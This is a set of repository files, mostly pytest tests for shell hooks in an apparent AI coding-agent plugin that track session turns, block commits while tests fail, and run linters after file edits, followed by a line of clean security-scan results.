  jq -n --arg reason "Tests failed (exit code ${TEST_EXIT}). Fix tests before committing. Output: ${TEST_OUTPUT:0:500}" \
    '{"hookSpecificOutput":{"permissionDecision":"deny","reason":$reason}}'
else
  echo '{"continue":true}'
fi


path: tests/test_bracket.py
content: """Tests for bracket-hook stop hook."""

import json
import os
import subprocess
from pathlib import Path

import pytest

SCRIPTS_DIR = Path(__file__).parent.parent / "scripts"


@pytest.fixture
def env(tmp_path):
    e = os.environ.copy()
    e["HOME"] = str(tmp_path)
    sessions = tmp_path / ".openclaw" / "shared-context" / "sessions"
    sessions.mkdir(parents=True)
    return e, tmp_path


def run(env, stdin_data="", session_id="test-sess"):
    env["NC_SESSION"] = session_id
    result = subprocess.run(
        ["bash", str(SCRIPTS_DIR / "bracket-hook.sh")],
        capture_output=True, text=True, env=env, input=stdin_data, timeout=10,
    )
    return result.stdout.strip(), result.returncode


class TestBracketHook:
    def test_first_call_creates_state(self, env):
        e, tmp = env
        stdout, rc = run(e, json.dumps({}))
        assert rc == 0
        result = json.loads(stdout)
        assert result.get("continue") is True
        state = tmp / ".openclaw/shared-context/sessions/test-sess/bracket.json"
        assert state.exists()
        data = json.loads(state.read_text())
        assert data["total_turns"] == 1
        assert data["session_start"] > 0

    def test_increments_turn_count(self, env):
        e, tmp = env
        inp = json.dumps({})
        run(e, inp)
        run(e, inp)
        run(e, inp)
        state = tmp / ".openclaw/shared-context/sessions/test-sess/bracket.json"
        data = json.loads(state.read_text())
        assert data["total_turns"] == 3

    def test_no_session_allows(self, env):
        e, _ = env
        e["NC_SESSION"] = ""
        stdout, rc = run(e, json.dumps({}))
        assert rc == 0
        result = json.loads(stdout)
        assert result.get("continue") is True

    def test_long_session_warns(self, env):
        e, tmp = env
        # Pre-seed state with session_start far in the past (3 hours ago)
        session_dir = tmp / ".openclaw/shared-context/sessions/test-sess"
        session_dir.mkdir(parents=True, exist_ok=True)
        import time
        old_start = int(time.time()) - (3 * 3600)
        state_file = session_dir / "bracket.json"
        state_file.write_text(json.dumps({
            "total_turns": 50,
            "session_start": old_start,
            "total_duration_s": 10800,
            "last_turn": "2026-01-01T00:00:00Z",
        }))
        stdout, rc = run(e, json.dumps({}))
        assert rc == 0
        result = json.loads(stdout)
        ctx = result.get("hookSpecificOutput", {}).get("additionalContext", "")
        assert "WARNING" in ctx
        assert "hours" in ctx

    def test_records_last_turn_timestamp(self, env):
        e, tmp = env
        run(e, json.dumps({}))
        state = tmp / ".openclaw/shared-context/sessions/test-sess/bracket.json"
        data = json.loads(state.read_text())
        assert "last_turn" in data
        assert "T" in data["last_turn"]  # ISO format


path: tests/test_commit_gate.py
content: """Tests for test-before-commit PreToolUse hook."""

import json
import os
import subprocess
from pathlib import Path

import pytest

SCRIPTS_DIR = Path(__file__).parent.parent / "scripts"


@pytest.fixture
def env(tmp_path):
    e = os.environ.copy()
    e["HOME"] = str(tmp_path)
    sessions = tmp_path / ".openclaw" / "shared-context" / "sessions"
    sessions.mkdir(parents=True)
    return e, tmp_path


def run(env, stdin_data="", session_id="test-sess"):
    env["NC_SESSION"] = session_id
    result = subprocess.run(
        ["bash", str(SCRIPTS_DIR / "test-before-commit.sh")],
        capture_output=True, text=True, env=env, input=stdin_data, timeout=10,
    )
    return result.stdout.strip(), result.returncode


class TestTestBeforeCommit:
    def test_non_bash_allows(self, env):
        e, _ = env
        inp = json.dumps({"tool_name": "Write", "tool_input": {"file_path": "/tmp/x"}})
        stdout, rc = run(e, inp)
        assert rc == 0
        result = json.loads(stdout)
        assert result.get("continue") is True

    def test_non_commit_allows(self, env):
        e, _ = env
        e["TEST_BEFORE_COMMIT"] = "1"
        inp = json.dumps({"tool_name": "Bash", "tool_input": {"command": "git status"}})
        stdout, rc = run(e, inp)
        assert rc == 0
        result = json.loads(stdout)
        assert result.get("continue") is True

    def test_disabled_by_default_allows(self, env):
        e, _ = env
        # TEST_BEFORE_COMMIT not set — feature disabled
        inp = json.dumps({"tool_name": "Bash", "tool_input": {"command": "git commit -m 'test'"}})
        stdout, rc = run(e, inp)
        assert rc == 0
        result = json.loads(stdout)
        assert result.get("continue") is True

    def test_no_test_runner_allows(self, env, tmp_path):
        e, _ = env
        e["TEST_BEFORE_COMMIT"] = "1"
        # Run in a directory with no test runner markers
        empty_dir = tmp_path / "empty_project"
        empty_dir.mkdir()
        inp = json.dumps({"tool_name": "Bash", "tool_input": {"command": "git commit -m 'test'"}})
        result = subprocess.run(
            ["bash", str(SCRIPTS_DIR / "test-before-commit.sh")],
            capture_output=True, text=True, env=e, input=inp, timeout=10,
            cwd=str(empty_dir),
        )
        stdout = result.stdout.strip()
        out = json.loads(stdout)
        assert out.get("continue") is True

    def test_amend_allows(self, env):
        e, _ = env
        e["TEST_BEFORE_COMMIT"] = "1"
        inp = json.dumps({"tool_name": "Bash", "tool_input": {"command": "git commit --amend -m 'fix'"}})
        stdout, rc = run(e, inp)
        assert rc == 0
        result = json.loads(stdout)
        assert result.get("continue") is True


path: tests/test_post_edit_check.py
content: """Tests for post-edit-check.sh PostToolUse hook."""

import json
import os
import subprocess
import tempfile
from pathlib import Path

import pytest

SCRIPTS_DIR = Path(__file__).parent.parent / "scripts"


def run_post_edit(tool_name, file_path="", tool_input=None):
    if tool_input is None:
        tool_input = {"file_path": file_path}
    inp = json.dumps({
        "tool_name": tool_name,
        "tool_input": tool_input,
        "hook_event_name": "PostToolUse",
    })
    result = subprocess.run(
        ["bash", str(SCRIPTS_DIR / "post-edit-check.sh")],
        capture_output=True, text=True, input=inp, timeout=10,
    )
    return result.stdout.strip(), result.returncode


class TestPostEditCheck:
    def test_ignores_non_edit_tools(self):
        """Should exit silently for non-Write/Edit tools."""
        stdout, rc = run_post_edit("Bash", "/tmp/test.py")
        assert rc == 0
        assert stdout == ""

    def test_ignores_read_tool(self):
        stdout, rc = run_post_edit("Read", "/tmp/test.py")
        assert rc == 0
        assert stdout == ""

    def test_handles_missing_file(self):
        """Should exit silently when file doesn't exist."""
        stdout, rc = run_post_edit("Write", "/tmp/nonexistent_file_12345.py")
        assert rc == 0
        assert stdout == ""

    def test_handles_empty_file_path(self):
        stdout, rc = run_post_edit("Write", "")
        assert rc == 0
        assert stdout == ""

    def test_runs_on_write_tool(self):
        """Should trigger for Write tool on a real file (even if no linter found)."""
        with tempfile.NamedTemporaryFile(suffix=".xyz", delete=False, mode='w') as f:
            f.write("test content")
            f.flush()
            stdout, rc = run_post_edit("Write", f.name)
            os.unlink(f.name)
        assert rc == 0
        # Unknown extension — no linter runs, no output
        assert stdout == ""

    def test_runs_on_edit_tool(self):
        """Should trigger for Edit tool."""
        with tempfile.NamedTemporaryFile(suffix=".xyz", delete=False, mode='w') as f:
            f.write("test")
            f.flush()
            stdout, rc = run_post_edit("Edit", f.name, {
                "file_path": f.name,
                "old_string": "a",
                "new_string": "b",
            })
            os.unlink(f.name)
        assert rc == 0

    def test_shell_script_with_shellcheck(self):
        """If shellcheck is installed, should detect issues in .sh files."""
        with tempfile.NamedTemporaryFile(suffix=".sh", delete=False, mode='w') as f:
            f.write("#!/bin/bash\necho $UNQUOTED_VAR\n")
            f.flush()
            stdout, rc = run_post_edit("Write", f.name)
            os.unlink(f.name)
        assert rc == 0
        # If shellcheck is installed, should find issues
        import shutil
        if shutil.which("shellcheck"):
            assert "shellcheck" in stdout.lower() or "hookSpecificOutput" in stdout


Security scan verdicts — ClawScan: clean | static analysis: clean | VirusTotal: clean | SkillSpector: clean (LOW)